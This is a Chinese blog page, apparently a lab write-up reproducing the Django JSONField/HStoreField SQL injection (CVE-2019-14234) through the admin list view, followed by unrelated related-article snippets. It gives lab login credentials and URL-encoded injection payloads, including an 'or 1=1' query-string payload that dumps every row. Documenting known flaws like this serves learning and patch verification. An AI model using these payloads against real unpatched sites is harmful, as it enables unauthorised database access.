Django JSONField/HStoreField SQL注入漏洞（CVE-2019-14234）
漏洞描述
Django 于2019年8月1日 日发布了安全更新，修复了 JSONField 和 HStoreField 两个模型字段的 SQL 注入漏洞。
参考链接：
- Django security releases issued: 2.2.4, 2.1.11 and 1.11.23 | Weblog | Django
- Django JSONField SQL注入漏洞（CVE-2019-14234）分析与影响 | 离别歌
该漏洞要求开发者使用 JSONField/HStoreField;此外，还可以控制 QuerySet 的字段名称。Django 的内置应用程序 Django-Admin 受到影响，这为我们提供了一种重现漏洞的简单方法。
漏洞环境及利用
搭建docker环境
首先，使用用户名和密码登录 Django-Admin，admin，a123123123。http://your-ip:8000/admin/
然后转到模型的列表视图：http://your-ip:8000/admin/vuln/collection/Collection
构建sql注入payload
?detail__a%27b=123
可以看到成功注入
or 1=1返回所有结果
?detail__title%27)%3d%271%27 or 1%3d1%2d%2d%20
相关文章：
Django JSONField/HStoreField SQL注入漏洞（CVE-2019-14234）
漏洞描述 Django 于2019年8月1日 日发布了安全更新，修复了 JSONField 和 HStoreField 两个模型字段的 SQL 注入漏洞。 参考链接： Django security releases issued: 2.2.4, 2.1.11 and 1.11.23 | Weblog | DjangoDjango JSONField SQL注入漏洞&#x…...
Unity中Shader的Standard材质解析（一）
文章目录 前言一、在Unity中，按一下步骤准备1、在资源管理面板创建一个 Standard Surface Shader2、因为Standard Surface Shader有很多缺点，所以我们把他转化为顶点片元着色器3、整理只保留主平行光的Shader效果4、精简后的最终代码 前言 在Unity中&am…...
5.1 Windows驱动开发：判断驱动加载状态
在驱动开发中我们有时需要得到驱动自身是否被加载成功的状态，这个功能看似没啥用实际上在某些特殊场景中还是需要的，如下代码实现了判断当前驱动是否加载成功，如果加载成功, 则输出该驱动的详细路径信息。 该功能实现的核心函数是NtQuerySys…...
Linux之高级IO
目录 IO基本概念五种IO模型钓鱼人例子五种IO模型高级IO重要概念同步通信 VS 异步通信阻塞 VS 非阻塞其他高级IO阻塞IO非阻塞IO IO基本概念 I/O（input/output）也就是输入和输出，在著名的冯诺依曼体系结构当中，将数据从输入设备拷贝…...
进程和线程的关系
⭐ 作者：小胡_不糊涂 🌱 作者主页：小胡_不糊涂的个人主页 📀 收录专栏：JavaEE 💖 持续更文，关注博主少走弯路，谢谢大家支持 💖 进程&线程 1. 什么是进程PCB 2. 什么是…...
，公开数据集mAP有效涨点，来打造新颖YOLOv5检测器)
YOLOv5全网独家改进：NanoDet算法动态标签分配策略(附原创改进代码)，公开数据集mAP有效涨点，来打造新颖YOLOv5检测器
💡本篇内容：YOLOv5全网独家改进：NanoDet算法动态标签分配策略(附原创改进代码)，公开数据集mAP有效涨点，来打造新颖YOLOv5检测器 💡🚀🚀🚀本博客 YOLOv5+ 改进NanoDet模型的动态标签分配策略源代码改进 💡一篇博客集成多种创新点改进：NanoDet 💡：重点：更…...
原生DOM事件、react16、17和Vue合成事件
目录 原生DOM事件 注册/绑定事件 DOM事件级别 DOM0：onclick传统注册： 唯一（同元素的(不)同事件会覆盖） 没有捕获和冒泡的，只有简单的事件绑定 DOM2：addEventListener监听注册：可添加多个…...
基于HTML+CSS+JavaScript的登录注册界面设计
一、界面效果： 二、HTML代码： 登录注册html： 登录成功html： <!DOCTYPE html> <html> <head> <meta charset="utf-8"> <title></title> </head> <body> <h1>登录成功！</h1> </body> <…...
BUUCTF [MRCTF2020]Ez_bypass 1
题目环境：F12查看源代码 I put something in F12 for you include flag.php; $flagMRCTF{xxxxxxxxxxxxxxxxxxxxxxxxx}; if(isset($_GET[gg])&&isset($_GET[id])) { $id$_GET[id]; $gg$_GET[gg]; if (md5($id) md5($gg) && $id ! $gg) { …...
基于Apache部署虚拟主机网站
文章目录 Apache释义Apache配置关闭防火墙和selinux 更改默认页内容更改默认页存放位置个人用户主页功能基于口令登录网站虚拟主机功能基于ip地址相同ip不同域名相同ip不同端口 学习本章完成目标 1.httpd服务程序的基本部署。 2.个人用户主页功能和口令加密认证方式的实现。 3.…...
大数据平台/大数据技术与原理-实验报告--部署全分布模式HBase集群和实战HBase
实验名称 部署全分布模式HBase集群和实战HBase 实验性质 （必修、选修） 必修 实验类型（验证、设计、创新、综合） 综合 实验课时 2 实验日期 2023.11.07-2023.11.10 实验仪器设备以及实验软硬件要求 专业实验室ÿ…...
手写字符识别神经网络项目总结
1.数据集 手写字符数据集 DIGITS，该数据集的全称为 Pen-Based Recognition of Handwritten Digits Data Set，来源于 UCI 开放数据集网站。 2.加载数据集 import numpy as np from sklearn import datasets digits datasets.load_digits() 3.分割数…...
八、Lua数组和迭代器
一、Lua数组 数组，就是相同数据类型的元素按一定顺序排列的集合，可以是一维数组和多维数组。 在 Lua 中，数组不是一种特定的数据类型，而是一种用来存储一组值的数据结构。 实际上，Lua 中并没有专门的数组类型…...
平凯星辰 TiDB 获评 “2023 中国金融科技守正创新扬帆计划” 十佳优秀实践奖
11 月 10 日，2023 金融街论坛年会同期举办了“第五届成方金融科技论坛——金融科技守正创新论坛”，北京金融产业联盟发布了“扬帆计划——分布式数据库金融应用研究与实践优秀成果”， 平凯星辰提报的实践报告——“国产 HTAP 数据库在金融规模…...
运算符展开、函数，对象，数组，字符串变化 集合
... 展开运算符 用于函数实参或者赋值号右边 console.log(...[1, 2, 3]) // 1,2,3console.log(Math.max(...[1, 2, 3]))//3 console.log(Math.max.apply(null, [1, 2, 3]))//3const o { a: 1, b: 2 }const obj { ...o, c: 3 }console.log(obj)//Object ... 剩余运算符 用于…...
NI自动化测试系统用电必备攻略，电源规划大揭秘
就像使用电脑之前需接通电源一样，自动化测试系统的电源选择也是首当其冲的问题，只不是这个问题更复杂。 比如，应考虑地理位置因素，因为不同国家或地区的公共电网所提供的线路功率有所不同。在电源布局和设备选型方面，有…...
ky10 server arm 在线编译安装openssl3.1.4
在线编译脚本 #!/bin/shOPENSSLVER3.1.4OPENSSL_Vopenssl versionecho "当前OpenSSL 版本 ${OPENSSL_V}" #------------------------------------------------ #wget https://www.openssl.org/source/openssl-3.1.4.tar.gzecho "安装OpenSSL${OPENSSLVER}...&q…...
外网IP和内网IP的区别
首先得先知道什么是ip地址，它就是唯一标识连接网络的设备的，即IP地址充当了设备在网络中的“住址”，使得设备能够相互通信和交换数据。 我们常听开发人员说外网内网，那么它们有什么区别呢？ 外网可以理解为互联网&…...
Jquery动画特效
1，Jquery提供的特效方法 2，实例代码 <!DOCTYPE html> <html lang"en"> <head><meta charset"UTF-8"><meta name"viewport" content"widthdevice-width, initial-scale1.0"><…...
Tableau连接到mysql数据库，配置驱动
Tableau想要连接mysql数据库进行数据的可视化，但是没有ODBC驱动，看了几篇文章写的，不是很清楚，顺便写下自己的思路。 1、下载mysql对应的ODBC驱动 首先要知道自己mysql的版本，然后下载对应的ODBC驱动。 MySQL :: Dow…...
在软件开发中正确使用MySQL日期时间类型的深度解析
在日常软件开发场景中，时间信息的存储是底层且核心的需求。从金融交易的精确记账时间、用户操作的行为日志，到供应链系统的物流节点时间戳，时间数据的准确性直接决定业务逻辑的可靠性。MySQL作为主流关系型数据库，其日期时间类型的…...
Linux链表操作全解析
Linux C语言链表深度解析与实战技巧 一、链表基础概念与内核链表优势1.1 为什么使用链表？1.2 Linux 内核链表与用户态链表的区别 二、内核链表结构与宏解析常用宏/函数 三、内核链表的优点四、用户态链表示例五、双向循环链表在内核中的实现优势5.1 插入效率5.2 安全…...
【SpringBoot】100、SpringBoot中使用自定义注解+AOP实现参数自动解密
在实际项目中，用户注册、登录、修改密码等操作，都涉及到参数传输安全问题。所以我们需要在前端对账户、密码等敏感信息加密传输，在后端接收到数据后能自动解密。 1、引入依赖 <dependency><groupId>org.springframework.boot</groupId><artifactId...
《Playwright：微软的自动化测试工具详解》
Playwright 简介:声明内容来自网络，将内容拼接整理出来的文档 Playwright 是微软开发的自动化测试工具，支持 Chrome、Firefox、Safari 等主流浏览器，提供多语言 API（Python、JavaScript、Java、.NET）。它的特点包括&a…...
UR 协作机器人「三剑客」：精密轻量担当（UR7e）、全能协作主力（UR12e）、重型任务专家（UR15）
UR协作机器人正以其卓越性能在现代制造业自动化中扮演重要角色。UR7e、UR12e和UR15通过创新技术和精准设计满足了不同行业的多样化需求。其中，UR15以其速度、精度及人工智能准备能力成为自动化领域的重要突破。UR7e和UR12e则在负载规格和市场定位上不断优化…...
多种风格导航菜单 HTML 实现（附源码）
下面我将为您展示 6 种不同风格的导航菜单实现，每种都包含完整 HTML、CSS 和 JavaScript 代码。 1. 简约水平导航栏 <!DOCTYPE html> <html lang"zh-CN"> <head><meta charset"UTF-8"><meta name"viewport&qu…...
【Redis】笔记｜第8节｜大厂高并发缓存架构实战与优化
缓存架构 代码结构 代码详情 功能点： 多级缓存，先查本地缓存，再查Redis，最后才查数据库热点数据重建逻辑使用分布式锁，二次查询更新缓存采用读写锁提升性能采用Redis的发布订阅机制通知所有实例更新本地缓存适用读多…...
tomcat入门
1 tomcat 是什么 apache开发的web服务器可以为java web程序提供运行环境tomcat是一款高效，稳定，易于使用的web服务器tomcathttp服务器Servlet服务器 2 tomcat 目录介绍 -bin #存放tomcat的脚本 -conf #存放tomcat的配置文件 ---catalina.policy #to…...
抽象类和接口（全）
一、抽象类 1.概念：如果⼀个类中没有包含⾜够的信息来描绘⼀个具体的对象，这样的类就是抽象类。 像是没有实际⼯作的⽅法,我们可以把它设计成⼀个抽象⽅法，包含抽象⽅法的类我们称为抽象类。 2.语法 在Java中，⼀个类如果被 abs…...
Linux部署私有文件管理系统MinIO
最近需要用到一个文件管理服务，但是又不想花钱，所以就想着自己搭建一个，刚好我们用的一个开源框架已经集成了MinIO，所以就选了这个 我这边对文件服务性能要求不是太高，单机版就可以 安装非常简单，几个命令就…...